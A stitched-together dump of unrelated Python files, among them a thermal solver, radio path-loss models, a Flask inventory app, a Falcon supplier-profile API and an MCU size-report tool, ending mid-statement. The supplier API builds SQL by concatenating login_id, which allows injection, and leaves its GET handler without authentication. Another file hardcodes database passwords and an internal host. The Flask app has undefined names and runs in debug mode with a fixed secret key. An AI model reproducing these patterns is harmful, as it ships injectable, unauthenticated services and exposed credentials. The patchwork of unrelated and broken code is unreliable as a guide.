# script file for thermal solver
# for performance measurement
from datetime import datetime
startTime = datetime.now()

import matplotlib.pyplot as plt #to biblioteka pozwalajaca nam wykreslać wykresy
# import matplotlib.patches as patches
# from matplotlib.collections import PatchCollection
# import matplotlib as mpl
import numpy as np
# import math

# import numpy as np

from thermalModelLibrary import tntObjects as tntO
from thermalModelLibrary import tntSolverObj as tntS
from thermalModelLibrary import tntAir as tntA

# Defining some materials
Cu = tntO.Material()

# Defining some handy vellues
HTC = 6
emmisivity = 0.35

# Defining analysis elements objects
BB = tntO.thermalElement(
        shape = tntO.shape(10,100,80,1,90),
        HTC = HTC,
        emissivity = emmisivity,
        material = Cu,
        dP = False,
        source = 180/10)

# Defining the analysis circuit/objects connection stream

# using auto generator for input list based on tuples
Elements = [(BB, 10)]

Elements = tntS.generateList(Elements)
tntS.elementsForObjSolver(Elements)
# Filling elements positions
tntS.nodePosXY(Elements)

def calcThis(T0, Ta=20, Th=1):
    """
    Inputs:
        T0 - initial temperature, will be ignored if elements aready have internal temp
        Ta - ambient temperature as value or function of height Tamb = f(y[mm])
        Th - analysis time [h]

    Output:
        B,t
            B - array of temperatures for eachTimestep and element
            t - vector of time
    """

    # Running the solver for
    # Geometry from Elements list
    # 4000 A
    # 20 degC ambient
    # 20 degC starting temperature
    # 4h analysis end time
    # 500s as the default and max timestep size - this is auto reduced when needed - see tntS.Solver object
    # 0.01K maximum allowed temperature change in single timestep - otherwise solution accuracy - its used for auto timestep selection
    A,B,s, L2, XY, air = tntS.Solver(Elements,2000,Ta,T0,Th*60*60,500, 0.01)

    # this returns:
    #  A vector of time for each step
    #  B array of temperature rises for each element in each step
    #  s the total number of solver iterations (not neccessary the same as number of timesteps!)
    #  L2 vector of positions in [mm] for each temperature calculations point (each object middle)
    #  XY - vector of 2D vectors of XY position of each node

    print('time steps: ', len(A))
    print('solver steps: ', s)
    print('thermal nodes: ', len(Elements))

    # Rest is just cleaning up data for plotting
    t = np.array(A)
    t = t / (60*60) # Time in hours

    # preparing tem rises as results
    b = np.array(B)
    b = b - 20

    # defining the main plot window
    fig = plt.figure('Temperature Rise Analysis ')

    # first subplot for the timecurves
    ax1 = fig.add_subplot(231)
    ax1.plot(t,b[:,:])
    ax1.set_title('Temp Rise vs. Time')
    plt.ylabel('Temp Rise [K]')
    plt.xlabel('Time [h]')

    # Temperature rises from lats timepoint along the 1D model length
    ax2 = fig.add_subplot(234)

    ax2.plot(L2,b[-1,:],'rx--')
    ax2.set_title('Temp Rise vs. 1D position')
    plt.ylabel('Temp Rise [K]')
    plt.xlabel('Position [mm]')

    ax1.grid()
    ax2.grid()

    # Defining the subplot for geometry heat map
    ax3 = fig.add_subplot(132, aspect='equal')
    # runs the defined procedure on this axis
    boxes = tntS.drawElements(ax3,Elements,np.array(b[-1,:]))

    ax4 = fig.add_subplot(133)
    if air:
        ax4.plot(air.aCellsT -20, np.linspace(0,air.h,air.n) ,'b--')
    else:
        ax4.plot(np.array([Ta(y)-20 for y in np.linspace(0,max(L2),20)]), np.linspace(0,max(L2),20) ,'b--')

    ax4.set_title('Air Temp vs. height')
    plt.xlabel('Air Temp [degC]')
    plt.ylabel('Height [mm]')

    plt.tight_layout()
    plt.show()

    return B,t

def consT(y):
    return 20

def ambientT(y, T0 = 20):
    """
    y - in mmm
    output in degC
    """
    return T0 + y * (3/100)

B,t = calcThis(20, 20, 4)


from sqlalchemy import create_engine
import socket

hostname = socket.gethostname()

def get_engine(hostname):

    if hostname in ('wx001', 'wx002', 'wx003'):
        engine = create_engine(
            "mysql+pymysql://{}:{}@{}:{}/{}".format('yhouse', 'GHLs9X8q@QWkjo6#ZX4f', '10.10.209.30', 3306,
                                                    'spider', ), connect_args={"charset": "utf8"}, echo=True, )
    else:
        # engine = create_engine(
        #     "mysql+pymysql://{}:{}@{}:{}/{}".format('spider_dev', 'csQXEMw9udrC4f*4JB6WnGiv2MKZRn', 'localhost', 13306,
        #                                             'pytt', ), connect_args={"charset": "utf8"}, echo=True, )
        engine = create_engine(
            "mysql+pymysql://{}:{}@{}:{}/{}".format('yhouse', 'GHLs9X8q@QWkjo6#ZX4f', 'localhost', 10002,
                                                    'spider', ), connect_args={"charset": "utf8"}, echo=True, )
    return engine

choise_engine = get_engine(hostname)


from django.urls import path
from contact.views import index, add_contact_form, update_contact_form, delete_contact_form, about, contact_us_form

urlpatterns = [
    path('', index, name='home'),
    path('about', about, name='about'),
    path('contact-us', contact_us_form, name='contact-us'),
    path('new-contact', add_contact_form, name='new-contact'),
    path('update/<int:id>', update_contact_form, name='update'),
     path('delete/<int:id>', delete_contact_form, name='delete'),
]


from typing import List

from app.models import Device

class FileGenerator:
    listOfDevices = ...

    def __init__(self, listOfDevices: List[Device]):
        self.listOfDevices = [{
            "pin": device.pin,
            "identifier": device.identifier,
            "name": device.name,
        } for device in listOfDevices]
        print(self.listOfDevices)

    def generate_file_string(self) -> str:
        raise NotImplementedError()

    def write_to_file(self, path):
        with open('./result.h', 'w') as f:
            f.write(self.generate_file_string())


# -*- coding: utf-8 -*-
"""
Created on Fri Oct 14 15:46:36 2016

@author: mmolinare
"""

import math
import numpy as np

__all__ = [
    'plane_earth',
    'friis',
    'interference',
    'log_distance',
    'dual_slope'
]

def plane_earth(d, htx, hrx):
    """
    Deterministic two-ray model to account for line-of-sight and ground
    reflected paths

    Args
    ----
    d : flt or array_like
        Transmitter/receiver separation {km}

    htx, hrx : flt, flt
        Transmitter/receiver height {m}

    Returns
    -------
    L : flt or array_like
        Path loss {dB}
    """
    return 40.*np.log10(d*1e3) - 20.*math.log10(htx) - 20.*math.log10(hrx)

def friis(d, f, crossover=False, **kwargs):
    """
    Friis path loss formula for free-space propagation

    Args
    ----
    d : flt or array_like
        Transmitter to receiver separation {km}

    f : flt
        Transmit frequency {MHz}

    crossover : bool
        Flag for using plane earth model in far-field

    Keyword Args
    ------------
    htx, hrx : flt, flt
        Transceiver/receiver height {m, m} if `crossover` is True

    Return
    -------
    L : 1D array, size of `d`
        Path loss {dB}
    """
    d = np.ravel(d)
    L = 20.*np.log10(d) + 20.*math.log10(f) + 32.44

    if crossover and {'htx','hrx'}.issubset(kwargs):
        htx, hrx = kwargs['htx'], kwargs['hrx']
        wv = 3e2/f
        dc = 4.*math.pi*htx*hrx/wv
        dc /= 1000. # crossover distance in km
        L[d>dc] = plane_earth(d[d>dc], htx, hrx)

    return L

def interference(d, f, htx, hrx, epsilon=1.):
    """
    Deterministic model to account for phase difference of interfering rays and
    ground permittivity

    Args
    ----
    d : flt or array_like
        Transmitter/receiver separation {km}

    f : flt
        Transmit frequency {MHz}

    htx, hrx : flt, flt
        Transmitter/receiver height {m}

    epsilon : flt, optional
        Ground permittivity. Default is 1 for free space propagation

    Returns
    -------
    L : 1D array, size of `d`
        Path loss {dB}
    """
    r = d*1e3  # separation in meters
    dlos, dref = np.linalg.norm([r, htx-hrx]), np.linalg.norm([r, htx+hrx])
    s, c = (htx+hrx)/dref, r/dref

    psi = 2*math.pi*(dlos-dref)*f/3e2  # phase term
    X = np.sqrt(epsilon - c**2.)
    gamma = (s-X)/(s+X)  # ground reflection coeffecient

    L0 = friis(d, f, crossover=False)
    return L0 - 20*np.log10(np.abs(1+gamma*np.exp(1j*psi)))

def log_distance(d, f, gamma, d0=1., sigma=0.):
    """
    Simplified empirical model for path loss inside buildings or densely
    populated areas

    Args
    ----
    d : flt or array_like
        Transmitter to receiver separation {km}

    f : flt
        Transmit frequency {MHz}

    gamma : flt
        Path loss exponent

    d0 : flt, optional
        Reference distance {km}

    sigma : flt, optional
        Standard deviation of zero-mean Gaussian distributed random variable
        to account for signal shadowing {dB}

    Returns
    -------
    L : 1D array, size of `d`
        Path loss {dB}
    """
    d = np.ravel(d).astype(float)
    L0 = friis(d0, f)
    if sigma > 0.:
        Xg = np.random.normal(scale=sigma, size=d.size)
    else:
        Xg = 0.
    return L0 + gamma*10.*np.log10(d/d0) + Xg

def dual_slope(d, f, htx, hrx, gamma, d0=1.):
    """
    Dual slope emprical model for first Fresnel zone obstruction in
    line-of-sight topographies

    Args
    ----
    d : flt or array_like
        Transmitter/receiver separation {km}

    f : flt
        Transmit frequency {MHz}

    htx, hrx : flt, flt
        Transmitter/receiver height {m}

    gamma : array_like, len=2
        Path loss exponents

    d0 : flt, optional
        Reference distance {km}

    Returns
    -------
    L : 1D array, size of `d`
        Path loss {dB}
    """
    d = np.ravel(d).astype(float)
    wv = 3e2/f
    Sigma, Delta = (htx+hrx)**2., (htx-hrx)**2.
    df = math.sqrt((Sigma-Delta)**2. - 2.*(Sigma+Delta)*(wv/2.)**2. + (wv/2.)**4.)/wv
    df /= 1000.  # Fresnel zone break point in km

    L = np.empty_like(d)
    L[d<=df] = log_distance(d[d<=df], f, gamma[0], d0=d0)
    L[d>df] = log_distance(df, f, gamma[0], d0=d0) + gamma[1]*10.*np.log10(d[d>df]/df)

    return L


import os
import speech_recognition as sr
import subprocess
from pydub import AudioSegment
sou = AudioSegment.from_file('benn.wav')
bhenkitakki= sou.dBFS
sou = AudioSegment.from_file('bhai.wav')
bhenkatakka= sou.dBFS
r = sr.Recognizer()
a=0
b=368
teri=0
while a<b:
	audioo = 'M1/out'+str(a)+'.wav'
	soundd = AudioSegment.from_file(audioo)
	loudness = soundd.dBFS
	if loudness==bhenkitakki:
		os.remove(audioo)
		print("gungi file thi uda di !")
		a=a+1
	if loudness==bhenkatakka:
		os.remove(audioo)
		print("allmost gungi file thi uda di !")
		a=a+1
	audio = 'M1/out'+str(a)+'.wav'
	with sr.AudioFile(audio) as source:
		audi = r.record(source)
		print ('file NO : '+str(a)+' Done!')
		if teri>0:
			a=a+1
			teri=0
		teri=1
	try:
		text = r.recognize_google(audi)
		f = open('musaibat.txt','a')
		f.write(text + '\n')
		f.close()
		a=a+1
		teri=0
		if(a==b):
			print ('Musibat khatam :-)')

	except Exception as e:
		print (e)


"""
https://leetcode.com/problems/verifying-an-alien-dictionary/

Build ref dictionary, then do pair-wise comparison.
"""
class Solution:
    def isAlienSorted(self, words: List[str], order: str) -> bool:
        ref = {c: i for i, c in enumerate(order)}

        for i in range(1, len(words)):
            w1, w2 = words[i-1], words[i]
            j = 0
            while j < min(len(w1), len(w2)):
                if w1[j] == w2[j]:
                    j += 1
                else:
                    if ref[w1[j]] > ref[w2[j]]:
                        return False
                    else:
                        break
            if j == min(len(w1), len(w2)) and len(w1) > len(w2):
                return False
        return True


from flask import *
from flask_sqlalchemy import SQLAlchemy
from sqlalchemy.sql.functions import func
from datetime import datetime
from sqlalchemy.sql.schema import PrimaryKeyConstraint
from sqlalchemy.sql.operators import from_
from msilib import type_nullable

app = Flask(__name__)
app.config['SQLALCHEMY_DATABASE_URI']='sqlite:///f.sqlite3'
app.config['SECRET_KEY']="flask"
db = SQLAlchemy(app)

class Product(db.Model):
    __tablename__ = 'product'
    id = db.Column(db.Integer,primary_key=True)
    name = db.Column(db.String(50),nullable=False)
    quantity=db.Column(db.Integer)
    def __init__(self,id,name,quantity):
    	self.id=id
    	self.name=name
    	self.quantity=quantity

    def __repr__(self):
        return '<Product %r>' %self.id

class Location(db.Model):
    __tablename__ = 'location'
    id = db.Column(db.Integer,primary_key=True)
    name= db.Column(db.String(50))
    quantity=db.Column(db.Integer)
    def __init__(self,id,name,quantity):
        self.id=id
        self.name=name
        self.quantity=quantity

    def __repr__(self):
        return '<Location %r>' %self.id

class Movement(db.Model):
    __tablename__='productmovement'
    mid=db.Column(db.Integer,primary_key=True)
    from_location=db.Column(db.String(25))
    to_location=db.Column(db.String(25))
    pro_id=db.Column(db.String(25))
    quantity=db.Column(db.Integer)
    def __init__(self,f,t,p,q):
        self.from_location=f
        self.to_location=t
        self.pro_id=p
        self.quantity=q

    def __repr__(self):
        return '<Movement %r>' %self.id

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/products',methods=["GET","POST"])
def products():

    if request.method=="GET":
        p = Product.query.all()
        return render_template('products.html',products=p)

    if request.method == "POST":
        pid=request.form["pid"]
        proname= request.form["pname"]
        pquantity=request.form["quantity"]
        new = Product(id=pid,name=proname,quantity=pquantity)
        try:
            db.session.add(new)
            db.session.commit()
            return redirect('/products')
        except:
            return("Enter the valid Response")

@app.route('/locations',methods=["GET","POST"])
def locations():
    if request.method=="GET":
        l = Location.query.all()
        return render_template('locations.html',locations=l)

    if request.method == "POST":
        lid=request.form["lid"]
        lname = request.form["lname"]
        lquan=request.form["quantity"]
        new = Location(id=lid,name=lname,quantity=lquan)
        try:
            db.session.add(new)
            db.session.commit()
            return redirect('/locations')
        except:
            return("Enter the valid Response")

@app.route('/movements',methods=["GET","POST"])
def movements():
    if request.method=="GET":
        l=Location.query.all()
        p=Product.query.all()
        m=Movement.query.all()
        return render_template('m.html',locations=l,products=p,movements=m)

    if request.method=="POST":
        to=request.form["to-location"]
        from2=request.form["from-location"]
        p=request.form["product"]
        q=request.form["quantity"]

        if from2=='none':
            new=Movement(f=from2,t=to,p=p,q=q)
            try:
                db.session.add(new)
                db.session.commit()
                return redirect('/movements')
            except:
                return("Enter the valid Response")

@app.route('/report')
def report():
    locations = Location.query.all()
    products = Product.query.all()
    loc=[]
    pro=[]
    for l in locations:
        loc.append(l)
    for p in products:
        pro.append(p)
    n=len(loc)+len(pro)
    for i in range(n):
        r.append(loc[i])
        r.append(pro[i])
    return render_template('report.html',report=r)

@app.route("/products/updateproduct",methods=["GET","POST"])
def updateproduct():
    if request.method=="GET":
        return render_template("up.html")
    if request.method=="POST":
        proid=request.form["upid"]
        proname=request.form["quan"]

        return redirect('/products')

@app.route("/locations/updatelocation",methods=["GET","POST"])
def updatelocation():
    if request.method=="GET":
        return render_template("ul.html")
    if request.method=="POST":
        locid=request.form["upid"]
        locname=request.form["quan"]

        return redirect('/locations')

@app.route("/products/deleteproduct",methods=["GET","POST"])
def deleteproduct():
    if request.method=="GET":
        return render_template("deleteproduct.html")
    if request.method=="POST":
        proid=request.form["upid"]
        try:
            s=sessionmaker(bind=engine)
            s1=s()
            d=s.query(Product).get(proid)
            s.delete(d)
            return redirect('/products')
        except:
            return "Error"

@app.route("/locations/deletelocation",methods=["GET","POST"])
def deletelocation():
    if request.method=="GET":
        return render_template("deletelocation.html")
    if request.method=="POST":
        lid=request.form["upid"]
        try:
            s=sessionmaker(bind=engine)
            s1=s()
            d=s.query(Location).get(lid)
            s.delete(d)
            return redirect('/locations')
        except:
            return "Error"
if __name__ == "__main__":
	db.create_all()
	app.run(debug=True)


'''
Name  :  supplierProfile
Description  :  Gets supplier details and displays them. Updates supplier details and saves them.
'''

import traceback
import sys
import falcon
import json
import pymysql
from DatabaseConnection import *
from collections import OrderedDict
from memcacheResource import MemcacheFunctions
from Login import LoginResource__v1__
from Tools import Tools
from SessionManagement import createSession

class SupplierProfileResource__v1__(object):
    def on_get(self, req, resp, login_id, session):
        # Authenticate login id and session availability.
        # try:
        #     if (MemcacheFunctions.IsSessionValid(login_id, session) is False):
        #         resp.status = falcon.HTTP_401
        #         Err = {"Reason": "Invalid Login Credentials or Session is Expired"}
        #         result_json = json.dumps(Err)
        #         resp.body = (result_json)
        #         return

        # except ValueError as err:
        #     raise falcon.HTTPError(falcon.HTTP_400, traceback.print_exc(file=sys.stdout) , err.args)
        # except Exception as err:
        #     raise falcon.HTTPError(falcon.HTTP_400, traceback.print_exc(file=sys.stdout) , err.args)

        # if Authentication true the code below runs
        # Gets supplier data
        try:
            # Connecting the database
            database_connection = get_db_connection()
            cursor = database_connection.cursor()
            cursor.execute("select lg.supplier_name,lg.company_name,lg.company_registration_no,lg.mobile_no, \
                            lg.address_line_one,lg.address_line_two,lg.official_email,lg.website,lg.office_phone,lg.office_fax, \
                            lg.association_club,lg.business_size,lg.import_export_license,lg.business_license, \
                            lg.city, lg.postal_code, lg.state, lg.country_code, \
                            lg.business_id, lg.industry_id,lg.timezone,lg.tax_rate,lg.tax_type,lg.tax_number,lg.bank_acc_no,lg.bank_name,lg.iban_no,lg.swift_code,lo.merchant_id \
                            from logistic_providers lg \
                            left join logins lo on lg.login_id = lo.login_id \
                            where lg.login_id = "+str(login_id)+"")
            row = cursor.fetchall()
            if(cursor.rowcount > 0):
                list_values = list(row)
                resp.status = falcon.HTTP_200
                result_json = json.dumps(list_values, sort_keys=True,default=str)
                resp.body = result_json

            else:
                resp.status = falcon.HTTP_204
                message = {"message": "supplier details not found"}
                result_json = json.dumps(message)
                resp.body = result_json

        except ValueError as err:
            raise falcon.HTTPError(falcon.HTTP_400, traceback.print_exc(file=sys.stdout) , err.args)
        except pymysql.IntegrityError as err:
            raise falcon.HTTPError(falcon.HTTP_400, traceback.print_exc(file=sys.stdout) , err.args)
        except Exception as err:
            raise falcon.HTTPError(falcon.HTTP_400, traceback.print_exc(file=sys.stdout) , err.args)
        finally:
            cursor.close()
            database_connection.close()

    def on_patch(self, req, resp, login_id, session):
        # Authenticate login id and session availability.
        try:
            if (MemcacheFunctions.IsSessionValid(login_id, session) is False):
                resp.status = falcon.HTTP_401
                Err = {"Reason": "Invalid Login Credentials or Session is Expired"}
                result_json = json.dumps(Err)
                resp.body = result_json
                return
        except ValueError as err:
            raise falcon.HTTPError(falcon.HTTP_400, traceback.print_exc(file=sys.stdout) , err.args)
        except Exception as err:
            raise falcon.HTTPError(falcon.HTTP_400, traceback.print_exc(file=sys.stdout) , err.args)

        try:
            raw_json = req.stream.read(req.content_length or 0).decode('utf-8')
            result_dict_json = json.loads(raw_json, object_pairs_hook=OrderedDict, encoding='utf-8')
            # Connecting the database
            database_connection = get_db_connection()
            cursor = database_connection.cursor()
            cursor.execute("select is_on_boarded from logins where login_id = '"+login_id+"'")
            row = cursor.fetchone()

            if row:
                sql_query = "update logistic_providers SET address_line_one=%s,\
                            address_line_two=%s,\
                            association_club=%s,\
                            bank_acc_no=%s, \
                            bank_name=%s, \
                            business_id=%s, \
                            business_license=%s, \
                            business_size=%s, \
                            city=%s, \
                            company_name=%s, \
                            company_registration_no=%s, \
                            country_code=%s, \
                            iban_no=%s, \
                            import_export_license=%s, \
                            industry_id=%s, \
                            mobile_no=%s, \
                            office_fax=%s, \
                            office_phone=%s, \
                            official_email=%s, \
                            postal_code=%s, \
                            state=%s, \
                            supplier_name=%s, \
                            swift_code=%s, \
                            tax_number=%s, \
                            tax_rate=%s, \
                            tax_type=%s, \
                            website=%s, \
                            timezone=%s \
                            where login_id = %s"

                args = (result_dict_json['official_address_line_one'],
                        result_dict_json['official_address_line_two'],
                        result_dict_json['association_club'],
                        result_dict_json['bank_acc_no'],
                        result_dict_json['bank_name'],
                        result_dict_json['business_type'],
                        result_dict_json['license_number'],
                        result_dict_json['business_nature'],
                        result_dict_json['city'],
                        result_dict_json['company_name'],
                        result_dict_json['company_registration_no'],
                        result_dict_json['country_code'],
                        result_dict_json['iban_no'],
                        result_dict_json['importer_exporter'],
                        result_dict_json['industry_type'],
                        result_dict_json['phone_number'],
                        result_dict_json['fax_no'],
                        result_dict_json['official_phone'],
                        result_dict_json['official_email'],
                        result_dict_json['postal_code'],
                        result_dict_json['state'],
                        result_dict_json['contact_person'],
                        result_dict_json['swift_code'],
                        result_dict_json['tax_number'],
                        result_dict_json['tax_rate'],
                        result_dict_json['tax_type'],
                        result_dict_json['company_website'],
                        result_dict_json['timezone'],
                        login_id
                        )
                cursor.execute(sql_query,args)
                database_connection.commit()
                Tools.GetMerchantID(result_dict_json['country_code'],result_dict_json['business_type'],result_dict_json['industry_type'],result_dict_json['business_nature'],login_id,cursor,database_connection)

                if(row['is_on_boarded'] != 1):
                    Tools.ChangeUserOnBoardedStatus(login_id, "1",cursor,database_connection)
                    SessionID = createSession(session)
                    MemcacheFunctions.mc.set(login_id,SessionID,300)
                    row.update({'Login_ID':login_id, 'Active':1, 'User Type':1, 'Is On Boarded':1, 'supplierName':result_dict_json['contact_person'], 'SessionID':session})

                    resp.status = falcon.HTTP_200
                    result_json = json.dumps(row, sort_keys=True)
                    message = {"status": "On Boarded"}
                    resp.body = result_json

                # if cursor.rowcount is 1:
                resp.status = falcon.HTTP_200
                message = json.dumps({"status": "Updated"})
                resp.body = message
            else:
                resp.status = falcon.HTTP_204
                message = {"status": "No content"}
                result_json = json.dumps(message)
                resp.body = result_json

        except ValueError as err:
            raise falcon.HTTPError(falcon.HTTP_400, traceback.print_exc(file=sys.stdout) , err.args)
        except pymysql.IntegrityError as err:
            raise falcon.HTTPError(falcon.HTTP_400, traceback.print_exc(file=sys.stdout) , err.args)
        except Exception as err:
            raise falcon.HTTPError(falcon.HTTP_400, traceback.print_exc(file=sys.stdout) , err.args)
        finally:
            cursor.close()
            database_connection.close()


import enum
from pathlib import Path
import re
import argparse
import os
import distutils.dir_util
import filecmp
import sys
from typing import NamedTuple
from time import sleep
import subprocess
from subprocess import DEVNULL

# ==========================CLI================================
parser = argparse.ArgumentParser(conflict_handler='resolve')
parser.add_argument('--size', type=str, action="store",
                    help='Path to cmake-size')
parser.add_argument('--mcu', action="store", type=str,
                    help='MCU name')
parser.add_argument('--maxflash', action="store", type=int,
                    help='max flash size', default=0)
parser.add_argument('--maxram', action="store", type=int,
                    help='max ram size', default=0)
parser.add_argument('--elf', type=str, action="store",
                    help='Path to elf file')
parser.add_argument('--ezstack', type=str, help='Path to stack analyzer',
                    action="store", default='')

# ==========================MAIN SECTION================================

class SizeStruct:
    """App result data"""

    def __init__(self):
        self.device = ""
        self.program_size = 0
        self.program_percent = 0
        self.data_size = 0
        self.data_percent = 0
        self.ezstack_used = False

class Arguments:
    """App cli arguments"""

    def __init__(self, size, elf, ezstack, mcu, maxflash, maxram):
        self.size = size
        self.elf = elf
        self.ezstack = ezstack
        self.mcu = mcu
        self.maxflash = maxflash
        self.maxram = maxram

def run(args: Arguments) -> SizeStruct:
    """Return the size info of elf file"""
    set_current_working_dir()
    size_path = which(args.size)
    elf_path = which(args.elf)
    assert_path_exist(size_path, "size utility was not found: use --size")
    assert_path_exist(elf_path, "elf file was not found: use --elf")
    mcu: McuType = select_mcu(args.mcu)
    ha = McuHandlerArgs()
    ha.size_path, ha.elf_path, ha.mcu, ha.maxflash, ha.maxram = size_path, elf_path, args.mcu, args.maxflash, args.maxram
    size_result: SizeStruct = handler_selector[mcu](ha)
    parseResult: EzStackStruct = handle_ezstack(which(args.ezstack), elf_path)
    if parseResult.ezstack_used:
        size_result.data_size, size_result.data_percent, size_result.ezstack_used = parseResult.data_size, parseResult.data_percent, parseResult.ezstack_used
    return size_result

# ==========================SPECIFIC MCU HANDLER================================

class McuType(enum.Enum):
    """Mcu type"""
    avr = 1
    stm32 = 2
    unknown = 3

# Allow to select specific mcu handler
handler_selector = {
    McuType.avr: lambda args: handler_wrapper(handle_avr, args),
    McuType.stm32: lambda args: handler_wrapper(handle_stm32, args),
    McuType.unknown: lambda args: (_ for _ in ()).throw(
        TypeError('mcu argument not specified'))
}

class McuHandlerArgs:
    """MCU Handler arguments:
    size_path: str, elf_path: str, mcu: str, maxflash: int, maxram: int"""
    pass

def handler_wrapper(f, args: McuHandlerArgs) -> SizeStruct:
    """Mcu handler wrapper=same exception policy. Call handler(f)"""
    try:
        return f(args)
    except Exception as e:
        raise Exception(
            f'error happened while parse size utility output (possibly wrong mcu): {str(e)}') from e

def handle_avr(args: McuHandlerArgs) -> SizeStruct:
    """Avr handler: call avr size_tool, and parse it output"""
    output = subprocess.Popen(
        [args.size_path, "-C", f"--mcu={args.mcu}", f"{args.elf_path}"], stdout=subprocess.PIPE).communicate()[0]
    output = str(output.decode("utf-8"))
    return parse_avr_output(output)

def handle_stm32(args: McuHandlerArgs) -> SizeStruct:
    """Stm32 handler: call stm32 size_tool, and parse it output"""
    output = subprocess.Popen(
        [args.size_path, "-B", f"{args.elf_path}"], stdout=subprocess.PIPE).communicate()[0]
    output = str(output.decode("utf-8"))
    return parse_stm32_output(args.mcu, output, args.maxflash, args.maxram)

def parse_avr_output(output) -> SizeStruct:
    """Avr handler: parse avr size_tool output to result struct"""
    # output = 'AVR Memory Usage\r\n----------------\r\nDevice: atmega168p\r\n\r\nProgram:     156 bytes (1.0% Full)\r\n(.text + .data + .bootloader)\r\n\r\nData:          0 bytes (0.0% Full)\r\n(.data + .bss + .noinit)\r\n\r\n\r\n'
    # print(parseAvrSize(output).data_size)
    # output  ='Program = 156 bytes; RAM usage = 10 bytes (1.0% Full)'
    res = SizeStruct()
    res.device = re.search(r'Device:\s*(.*)\r', output).group(1)
    res.program_size = float(re.search(
        r'Program:\s*(\d+).*(\d+)\%', output).group(1))
    res.program_percent = float(re.search(
        r'Program:\s*(\d+).*(\d+)\%', output).group(2))
    res.data_size = float(
        re.search(r'Data:\s*(\d+).*(\d+)\%', output).group(1))
    res.data_percent = float(
        re.search(r'Data:\s*(\d+).*(\d+)\%', output).group(2))
    return res

def parse_stm32_output(mcu, output, maxflash, maxram) -> SizeStruct:
    """Stm32 handler: parse stm32 size_tool output to result struct"""
    #    output = """   text	   data	    bss	    dec	    hex	filename
    #   12316	      0	      4	  12320	   3020	path:/to/file/stm32f103_example"""

    l = [x.group() for x in re.finditer(r'(\d+)', output)]
    text, data, bss = float(l[0]), float(l[1]), float(l[2])
    res = SizeStruct()
    res.device = mcu
    res.program_size = text+data
    res.data_size = data+bss
    if (maxflash and maxflash > 0):
        res.program_percent = res.program_size/maxflash*100
    if (maxram and maxram > 0):
        res.data_percent = res.data_size/maxram*100
    return res

def select_mcu(mcu: str) -> McuType:
    """Convert cli mcu to enum"""
    if (mcu is None or mcu == ''):
        return McuType.unknown
    if ("stm32" in mcu.lower()):
        return McuType.stm32
    else:
        return McuType.avr

# ==========================EZSTACK HANDLER================================

class EzStackStruct:
    """Ezstack result:"""

    def __init__(self, used: bool, data_size: float = 0, data_percent: float = 0):
        self.ezstack_used = used
        self.data_size = data_size
        self.data_percent = data_percent

def handle_ezstack(ezstack_path: str, elf_path: str) -> EzStackStruct:
    """EzStack handler"""
    try:
        output = subprocess.Popen(
            [ezstack_path, f"{elf_path}", "-allowCallsFromIsr", "-includeBadInterrupt", "-totalOnly"], stdout=subprocess.PIPE, stderr=DEVNULL).communicate()[0]
        output = str(output.decode("utf-8"))
        data_size = float(
            re.search(r'RAM usage = (\d+)', output).group(1))
        data_percent = float(re.search(
            r'RAM usage = \d+.*\((\d+\.\d+)\%', output).group(1))
        return EzStackStruct(True, data_size, data_percent)
    except Exception:
        return EzStackStruct(False)

# ==========================colorization================================

class bcolors:
    HEADER = '\033[95m'
    OKBLUE = '\033[94m'
    OKGREEN = '\033[92m'
    WARNING = '\033[93m'
    FAIL = '\033[91m'
    ENDC = '\033[0m'
    BOLD = '\033[1m'
    UNDERLINE = '\033[4m'

def print_size(size_result: SizeStruct):
    """Print app result data"""
    program_str = value_to_str(size_result.program_size)
    data_str = value_to_str(size_result.data_size)

    program_color = percent_to_color(size_result.program_percent)
    data_color = percent_to_color(size_result.data_percent)
    program_str = colorize_string(program_str, program_color)
    program_percent_str = colorize_string(
        f'{size_result.program_percent:.1f}%', program_color)
    data_str = colorize_string(data_str, data_color)
    data_percent_str = colorize_string(
        f'{size_result.data_percent:.1f}%', data_color)
    if (not size_result.ezstack_used):
        print(colorize_string(
            'Note: Ezstack can\'t calc RAM usage of stack.', bcolors.WARNING))
    print(
        f'Device: {size_result.device}. Program data: {program_str} ({program_percent_str}). RAM usage: {data_str} ({data_percent_str}).')

    if size_result.program_percent >= 100:
        raise Exception('flash size overflow')
    if size_result.data_percent >= 100:
        raise Exception('ram size overflow')

def value_to_str(x) -> str:
    """Convert value to string with suffix"""
    suffix = 'bytes'
    result = f'{x:.0f} {suffix}'

    if x >= 1024:
        x /= 1024
        suffix = 'Kb'
        result = f'{x:.1f} {suffix}'
    return result

def percent_to_color(percent) -> str:
    """Convert percents to color. Valid percents -> green, else -> red"""
    return bcolors.OKGREEN if percent < 100 else bcolors.FAIL

def colorize_string(s: str, color: str) -> str:
    """Wrap string with specified color"""
    return f'{color}{s}{bcolors.ENDC}'

# ==========================UTILITIES========================

def set_current_working_dir():
    """Change working dir to folder of file"""
    abspath = os.path.abspath(__file__)
    dname = os.path.dirname(abspath)
    os.chdir(dname)

def which(arg: str):
    """Return fullpath of arg, or None if file not exist"""
    import os
    try:
        fpath = os.path.split(arg)
        if not fpath:
            return None
        if os.path.isfile(arg):
            return arg
        for path in os.environ["PATH"].split(os.pathsep):
            f = os.path.join(path, arg)
            if os.path.isfile(f):
                return f
    except Exception:
        pass
    return None

def assert_path_exist(path, message):
    """Throw exception if file not exists"""
    if path is None:
        raise FileNotFoundError(
            f'{message}:{path}')

# ==========================STARTUP SECTION========================
if __name__ == "__main__":
    # pass
    os.system('color')
    namespace = parser.parse_args()
    args = Arguments(size=namespace.size, elf=namespace.elf,
                     ezstack=namespace.ezstack, mcu=namespace.mcu, maxflash=namespace.maxflash, maxram=namespace.maxram)
    try:
        size_result = run(args)
        print_size(size_result)
    except Exception as e:
        print(f'{bcolors.FAIL}Error: {str(e)}.{bcolors.ENDC}')


# refer to https://www.jianshu.com/p/15e3f74180fc
# @author:caokai > @author:houjie
import os
import tensorflow as tf
from PIL import Image
import matplotlib.pyplot as plt
import numpy as np

import log_level as ll

def make_decode(filename,tofilename):
    """filename是包涵图片类别的目录,tofilename是tfrecords存放路径"""
    classes = []  # 列表数据
    writer = tf.python_io.TFRecordWriter(tofilename)
    for type_name in os.listdir(filename):
        classes.append(type_name)#向classes中添加预定义类别

    for index, name in enumerate(classes):
        class_path = filename + name + '/'
        for img_name in os.listdir(class_path):
            img_path = class_path + img_name#找到每一幅图片的路径

            img = Image.open(img_path)
            img = img.resize((28, 28))
            img_raw = img.tobytes()  # 将图片转换为二进制格式
            example = tf.train.Example(features=tf.train.Features(feature={
